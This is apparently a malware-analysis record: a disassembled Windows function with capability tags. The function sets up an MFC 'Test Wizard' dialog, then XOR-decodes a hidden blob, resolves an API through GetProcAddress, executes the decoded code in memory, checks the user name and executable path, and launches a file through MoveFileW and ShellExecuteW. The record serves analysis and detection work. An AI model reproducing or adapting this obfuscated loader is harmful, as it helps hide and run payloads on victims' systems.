Function at 0x431be0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Inspect load icon resource
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x451d1f
mov eax, dword fs:[0]
push eax
sub esp, 0x448
mov eax, dword [0x4a2a80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x438], ecx
mov dword [ebp - 0x434], ecx
mov edi, dword [ebp + 0x10]
lea eax, [ecx + 8]
mov dword [ebp - 0x450], ecx
mov dword [ecx + 4], 0
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x430], edi
mov dword [eax + 0xc], 0
mov dword [ebp - 4], 1
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ebp - 4], 2
mov eax, dword [sym.imp.USER32.dll_DefWindowProcW]
mov dword [ecx + 0x20], eax
mov dword [ebp - 4], 3
mov dword [ecx + 0x58], 0
mov dword [ecx + 0x5c], 0
mov dword [ecx + 0x60], 0
mov byte [ebp - 4], 4
lea esi, [ecx + 0x24]
push 0x34
push 0
push esi
call fcn.00438050
mov ecx, dword [ebp - 0x438]
mov dword [esi], 0x34
mov dword [ecx + 0x28], 0x100
mov eax, dword [0x4a4654]
mov dword [ecx + 0x30], eax
mov eax, dword [ebp + 0xc]
mov dword [ecx + 0x44], 0
mov dword [ecx + 0x3c], 0
mov dword [ecx + 0x38], str.Test_Wizard
mov dword [ecx + 0x40], eax
mov dword [ecx + 0x2c], edi
mov dword [ecx + 0x48], 0x434f00
mov dword [ebp - 4], 5
mov dword [ecx + 0x64], 0
mov byte [ebp - 4], 6
mov dword [ecx + 0x68], 0
mov byte [ebp - 4], 7
mov eax, dword [ecx + 0x28]
and eax, 0xfdbfffdf
mov byte [ecx + 0x6c], 0
or eax, 0x1089200
mov dword [ecx + 0x54], 0x3e8
mov dword [ecx + 0x28], eax
mov dword [ecx + 0x4c], 0x3e9
mov dword [ebp - 4], 8
lea edi, [ecx + 0x74]
mov eax, dword [ebp + 8]
mov dword [ecx + 0x70], eax
lea eax, [edi + 8]
mov dword [ebp - 0x434], edi
mov dword [ecx], vtable.CTestWizardSheet.0
mov dword [edi + 4], 0
mov dword [ebp - 0x43c], eax
mov dword [eax + 0xc], 0
mov byte [ebp - 4], 0xa
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov byte [ebp - 4], 0xc
lea esi, [edi + 0x20]
push 0x34
push 0
push esi
call fcn.00438050
mov dword [esi], 0x34
mov dword [edi + 0x24], 0x80
mov eax, dword [0x4a4654]
mov dword [edi + 0x28], eax
mov dword [edi + 0x2c], 0x73
mov dword [edi + 0x38], 0x430aa0
mov dword [edi + 0x40], 0x434ec0
mov dword [edi + 0x3c], edi
mov byte [ebp - 4], 0xd
or dword [edi + 0x24], 0x820
mov byte [ebp - 4], 0xe
mov dword [edi + 0x54], 0
mov dword [edi], vtable.CTestWizardWelcomePage.0
mov dword [edi + 0x58], 0
mov byte [edi + 0x5c], 1
mov byte [ebp - 4], 0xf
mov edi, dword [ebp - 0x438]
add edi, 0xd4
mov dword [ebp - 0x434], edi
lea eax, [edi + 8]
mov dword [ebp - 0x43c], eax
mov dword [edi + 4], 0
mov dword [eax + 0xc], 0
mov byte [ebp - 4], 0x11
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov byte [ebp - 4], 0x13
lea esi, [edi + 0x20]
push 0x34
push 0
push esi
call fcn.00438050
mov dword [esi], 0x34
mov dword [edi + 0x24], 0x80
mov eax, dword [0x4a4654]
mov dword [edi + 0x28], eax
mov dword [edi + 0x2c], 0x75
mov dword [edi + 0x38], 0x430aa0
mov dword [edi + 0x40], 0x434ec0
mov dword [edi + 0x3c], edi
mov byte [ebp - 4], 0x14
mov eax, dword [edi + 0x24]
or eax, 0x20
mov dword [edi + 0x48], str.Call_SetHeaderTitle_in_Derived_Class
and eax, 0xfffff7ff
mov dword [edi + 0x4c], str.Call_SetHeaderSubTitle_in_the_constructor_of_the_Derived_Class.
or eax, 0x3000
or eax, 0x2000
mov dword [edi + 0x24], eax
mov byte [ebp - 4], 0x15
mov dword [edi + 0x54], 0
mov dword [edi], vtable.CTestWizardPathFilterPage.0
mov dword [edi + 0x58], 0
mov dword [edi + 0x5c], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov dword [edi + 0x74], 0
mov dword [edi + 0x78], 0
mov eax, dword [edi + 0x24]
or eax, 0x1000
mov dword [edi + 0x48], 0x48e3b8
or eax, 0x2000
mov dword [edi + 0x4c], str.Select_the_path_and_filter_identifying_a_list_of_files.
mov dword [edi + 0x24], eax
mov byte [ebp - 4], 0x16
add esp, 0x20
mov esi, dword [ebp - 0x438]
mov eax, esp
mov dword [eax], 0
lea ecx, [esi + 0x150]
call fcn.004319d0
mov byte [ebp - 4], 0x17
lea edi, [esi + 0x200]
mov dword [ebp - 0x434], edi
lea eax, [edi + 8]
mov dword [edi + 4], 0
mov dword [ebp - 0x43c], eax
mov dword [eax + 0xc], 0
mov byte [ebp - 4], 0x19
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov byte [ebp - 4], 0x1b
lea esi, [edi + 0x20]
push 0x34
push 0
push esi
call fcn.00438050
mov dword [esi], 0x34
mov dword [edi + 0x24], 0x80
mov eax, dword [0x4a4654]
mov dword [edi + 0x28], eax
mov dword [edi + 0x2c], 0x77
mov dword [edi + 0x38], 0x430aa0
mov dword [edi + 0x40], 0x434ec0
mov dword [edi + 0x3c], edi
mov byte [ebp - 4], 0x1c
mov eax, dword [edi + 0x24]
or eax, 0x20
mov dword [edi + 0x48], str.Call_SetHeaderTitle_in_Derived_Class
and eax, 0xfffff7ff
mov dword [edi + 0x4c], str.Call_SetHeaderSubTitle_in_the_constructor_of_the_Derived_Class.
or eax, 0x3000
or eax, 0x2000
mov dword [edi + 0x24], eax
mov byte [ebp - 4], 0x1d
mov dword [edi + 0x54], 0
mov dword [edi], vtable.CTestWizardOutputPage.0
mov dword [edi + 0x58], 0
mov dword [edi + 0x5c], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov dword [edi + 0x74], 0
mov eax, dword [edi + 0x24]
or eax, 0x1000
mov dword [edi + 0x48], 0x48e560
or eax, 0x2000
mov dword [edi + 0x4c], str.Please_choose_how_to_output_the_file_list.
mov dword [edi + 0x24], eax
mov byte [ebp - 4], 0x1e
mov edi, dword [ebp - 0x438]
add edi, 0x278
mov dword [ebp - 0x434], edi
lea eax, [edi + 8]
mov dword [ebp - 0x43c], eax
mov dword [edi + 4], 0
mov dword [eax + 0xc], 0
mov byte [ebp - 4], 0x20
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov byte [ebp - 4], 0x22
lea esi, [edi + 0x20]
push 0x34
push 0
push esi
call fcn.00438050
add esp, 0x18
mov dword [esi], 0x34
mov dword [edi + 0x24], 0x80
mov eax, dword [0x4a4654]
mov dword [edi + 0x28], eax
mov dword [edi + 0x2c], 0x74
mov dword [edi + 0x38], 0x430aa0
mov dword [edi + 0x40], 0x434ec0
mov dword [edi + 0x3c], edi
mov byte [ebp - 4], 0x23
or dword [edi + 0x24], 0x820
mov byte [ebp - 4], 0x24
mov dword [edi + 0x54], 0
mov dword [edi], vtable.CTestWizardCompletionPage.0
mov dword [edi + 0x58], 0
mov byte [ebp - 4], 0x25
mov dword [edi + 0x5c], 0
mov byte [ebp - 4], 0x26
mov eax, dword [ebp - 0x430]
push 0xa
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x414]
push str.Menu
push eax
mov dword [ebp - 0x42c], 0x3b8
mov dword [ebp - 0x424], 0xc9
mov dword [ebp - 0x420], 7
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0xc9
push 0
mov dword [ebp - 0x41c], 0x10000
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov edi, dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x418], eax
lea eax, [ebp - 0x42c]
push eax
push 0
call edi
mov edx, dword [0x4a1650]
xor ecx, ecx
mov esi, dword [0x4a1654]
mov eax, dword [0x4a1658]
mov dword [ebp - 0x444], edx
mov dword [ebp - 0x448], esi
mov dword [ebp - 0x430], eax
test edx, edx
je 0x432163
cmp ecx, 0x1424
jae 0x432163
mov eax, ecx
and eax, 3
mov al, byte [ebp + eax - 0x430]
xor byte [ecx + 0x4a165c], al
inc ecx
cmp ecx, edx
jb 0x432144
push esi
call fcn.00436731
add esp, 4
mov esi, eax
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x434], esi
push eax
push 2
call edi
lea eax, [ebp - 0x444]
push eax
push 0x4a165c
lea eax, [ebp - 0x448]
push eax
push esi
call fcn.00401110
test eax, eax
jne 0x432727
call fcn.0040c5f0
mov ecx, eax
test ecx, ecx
je 0x43272e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x430], esi
mov byte [ebp - 4], 0x28
mov edi, 1
mov eax, dword [esi - 8]
mov ecx, edi
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x4321ef
push 0x104
lea ecx, [ebp - 0x430]
call fcn.00418aa0
mov esi, dword [ebp - 0x430]
mov dword [ebp - 0x44c], 0x104
cmp dword [esi - 4], edi
jle 0x432212
push dword [esi - 0xc]
lea ecx, [ebp - 0x430]
call fcn.00418480
mov esi, dword [ebp - 0x430]
lea eax, [ebp - 0x44c]
push eax
push esi
push str.GetUserNameW
push str.ADVAPI32
call fcn.00433d40
add esp, 8
call eax
push dword [esi - 8]
push esi
call fcn.0043a963
add esp, 8
test eax, eax
js 0x4327de
cmp eax, dword [esi - 8]
jg 0x4327de
mov dword [esi - 0xc], eax
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, dword [0x48e718]
mov ax, word [0x48e71c]
movq xmm0, qword [str.pH_HzH.HkHH]
mov word [ebp - 0x2c], ax
mov eax, ecx
shr eax, 0x10
xor eax, ecx
movq qword [ebp - 0x38], xmm0
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x34]
mov word [ebp - 0x2e], ax
mov eax, ecx
shr eax, 0x10
xor word [ebp - 0x30], ax
xor ecx, eax
mov word [ebp - 0x32], cx
mov ecx, dword [ebp - 0x38]
mov eax, ecx
shr eax, 0x10
xor word [ebp - 0x34], ax
xor ecx, eax
mov eax, 0x4823
mov word [ebp - 0x36], cx
xor word [ebp - 0x38], ax
lea eax, [ebp - 0x38]
push eax
push esi
call fcn.0043fca9
add esp, 8
test eax, eax
jne 0x4324e6
mov eax, dword [esi - 8]
sub edi, dword [esi - 4]
sub eax, 0x104
or eax, edi
jge 0x4322e6
push 0x104
lea ecx, [ebp - 0x430]
call fcn.00418aa0
mov esi, dword [ebp - 0x430]
cmp dword [esi - 4], 1
jle 0x432300
push dword [esi - 0xc]
lea ecx, [ebp - 0x430]
call fcn.00418480
mov esi, dword [ebp - 0x430]
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [esi - 8]
push esi
call fcn.0043a963
add esp, 8
test eax, eax
js 0x4327de
cmp eax, dword [esi - 8]
jg 0x4327de
mov dword [esi - 0xc], eax
xor ecx, ecx
mov word [esi + eax*2], cx
movups xmm1, xmmword [0x48e720]
movaps xmm0, xmm1
psrldq xmm0, 8
movd ecx, xmm0
movups xmmword [ebp - 0x48], xmm1
mov edx, ecx
pextrw eax, xmm1, 6
shr edx, 0x10
xor ax, dx
xor edx, ecx
mov ecx, dword [ebp - 0x44]
shr ecx, 0x10
xor word [ebp - 0x40], cx
xor ecx, dword [ebp - 0x44]
mov word [ebp - 0x3c], ax
mov word [ebp - 0x42], cx
mov ecx, dword [ebp - 0x48]
mov eax, ecx
shr eax, 0x10
xor word [ebp - 0x44], ax
xor ecx, eax
mov eax, 0x4ae1
mov word [ebp - 0x3e], dx
xor word [ebp - 0x48], ax
mov word [ebp - 0x46], cx
cmp dword [esi - 0xc], 0
jl 0x4323b2
lea eax, [ebp - 0x48]
push eax
push esi
call fcn.004377d9
add esp, 8
test eax, eax
je 0x4323b2
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x4324e6
lea edi, [esi - 0x10]
push edi
call fcn.0042e920
add eax, 0x10
add esp, 4
mov dword [ebp - 0x434], eax
mov byte [ebp - 4], 0x2a
movq xmm0, qword [0x48e730]
mov ax, word [0x48e738]
movq qword [ebp - 0x1c], xmm0
mov ecx, dword [ebp - 0x18]
shr ecx, 0x10
xor ecx, dword [ebp - 0x18]
mov word [ebp - 0x14], ax
mov word [ebp - 0x16], cx
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
shr eax, 0x10
xor word [ebp - 0x18], ax
xor ecx, eax
mov eax, 0x5592
mov word [ebp - 0x1a], cx
xor word [ebp - 0x1c], ax
cmp dword [esi - 0xc], 0
jl 0x4324cf
lea eax, [ebp - 0x1c]
push eax
push esi
call fcn.004377d9
add esp, 8
test eax, eax
je 0x4324cf
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
je 0x4324cf
mov eax, dword [esi - 0xc]
lea ecx, [ebp - 0x430]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x43c]
push eax
call fcn.00433fe0
mov byte [ebp - 4], 0x2b
or esi, 0xffffffff
mov ecx, dword [eax]
lea edx, [ecx - 0x10]
cmp edx, edi
je 0x4324b0
cmp dword [edi + 0xc], 0
jl 0x4324a1
mov eax, dword [edx]
cmp eax, dword [edi]
jne 0x4324a1
push edx
call fcn.0042e920
mov dword [ebp - 0x438], eax
lea ecx, [edi + 0xc]
add esp, 4
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x432490
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x438]
add eax, 0x10
mov dword [ebp - 0x430], eax
jmp 0x4324b0
push dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x430]
call fcn.0042fc70
mov byte [ebp - 4], 0x2a
mov edx, dword [ebp - 0x43c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x4324cf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x48]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
je 0x432738
jmp 0x4324d5
mov byte [ebp - 4], 0x26
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x432502
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
push 1
push 0xa
call fcn.00433140
movups xmm0, xmmword [str.HH_H_H1HTH8H_vH9H]
mov ax, word [0x48e78c]
add esp, 8
mov word [ebp - 0x5c], ax
mov ecx, 0xb
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [0x48e784]
movq qword [ebp - 0x64], xmm0
mov ax, word [ebp + ecx*2 - 0x76]
xor word [ebp + ecx*2 - 0x74], ax
dec ecx
test ecx, ecx
jg 0x432535
movq xmm0, qword [0x48e790]
mov eax, 0x4823
xor word [ebp - 0x74], ax
mov ecx, 0xd
mov eax, dword [0x48e798]
mov dword [ebp - 0x50], eax
mov ax, word [0x48e79c]
mov word [ebp - 0x4c], ax
mov al, byte [0x48e79e]
movq qword [ebp - 0x58], xmm0
mov byte [ebp - 0x4a], al
nop dword [eax]
mov al, byte [ebp + ecx - 0x59]
xor byte [ebp + ecx - 0x58], al
dec ecx
test ecx, ecx
jg 0x432580
xor byte [ebp - 0x58], 0x84
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmm2, xmmword [0x48e8a0]
mov esi, eax
xor eax, eax
movups xmm0, xmmword [eax + 0x49f0f8]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x49f0f8], xmm1
movups xmm0, xmmword [eax + 0x49f108]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x49f108], xmm1
movups xmm0, xmmword [eax + 0x49f118]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x49f118], xmm1
movups xmm0, xmmword [eax + 0x49f128]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x49f128], xmm1
add eax, 0x40
cmp eax, 0x2540
jb 0x4325b1
cmp eax, 0x2554
jae 0x43262f
nop word [eax + eax]
xor byte [eax + 0x49f0f8], 0x99
inc eax
cmp eax, 0x2554
jb 0x432620
lea eax, [ebp - 0x440]
push eax
push 0x20
push 0x2554
push 0x49f0f8
call esi
push 0x10
call fcn.00436457
mov ecx, dword [ebp - 0x434]
add esp, 4
mov dword [eax], 0x10
mov dword [eax + 4], ecx
mov dword [eax + 8], 0x401000
mov dword [eax + 0xc], fcn.00401110
push eax
mov eax, 0x49f0f8
call eax
test eax, eax
jne 0x4327e8
lea eax, [ebp - 0x440]
push eax
push dword [ebp - 0x440]
push 0x2554
push 0x49f0f8
call esi
mov esi, dword [ebp - 0x438]
mov ecx, esi
mov eax, dword [ebp + 8]
mov dword [esi + 0xc8], eax
mov dword [esi + 0x128], eax
mov dword [esi + 0x1a4], eax
mov dword [esi + 0x254], eax
mov dword [esi + 0x2cc], eax
lea eax, [esi + 0x94]
push eax
call fcn.00432bf0
lea eax, [esi + 0xf4]
mov ecx, esi
push eax
call fcn.00432bf0
lea eax, [esi + 0x170]
mov ecx, esi
push eax
call fcn.00432bf0
lea ecx, [esi + 0x220]
push ecx
mov ecx, esi
call fcn.00432bf0
lea ecx, [esi + 0x298]
push ecx
mov ecx, esi
call fcn.00432bf0
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00436441
mov esp, ebp
pop ebp
ret 0xc
push 1
call fcn.0043a73c
push 0x80004005
call fcn.0040d970
sub ecx, edx
lea eax, [ebp - 0x48]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x430]
call fcn.0042c740
push dword [ebp - 0x430]
push dword [ebp - 0x434]
push str.MoveFileW
push str.KERNEL32
call fcn.00433d40
add esp, 8
call eax
movq xmm0, qword [0x48e748]
mov ax, word [0x48e750]
movq qword [ebp - 0x28], xmm0
mov ecx, dword [ebp - 0x24]
shr ecx, 0x10
xor ecx, dword [ebp - 0x24]
mov word [ebp - 0x22], cx
mov ecx, dword [ebp - 0x28]
mov word [ebp - 0x20], ax
mov eax, ecx
shr eax, 0x10
xor word [ebp - 0x24], ax
xor ecx, eax
push 0
push 0
mov word [ebp - 0x26], cx
mov eax, 0x7907
xor word [ebp - 0x28], ax
lea ecx, [ebp - 0x430]
push 0
call fcn.004327f0
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push str.ShellExecuteW
push str.SHELL32
call fcn.00433d40
add esp, 8
call eax
push 0
call fcn.0043a73c
push 0x80070057
call fcn.0040d970
push 0
call fcn.0043a73c
int3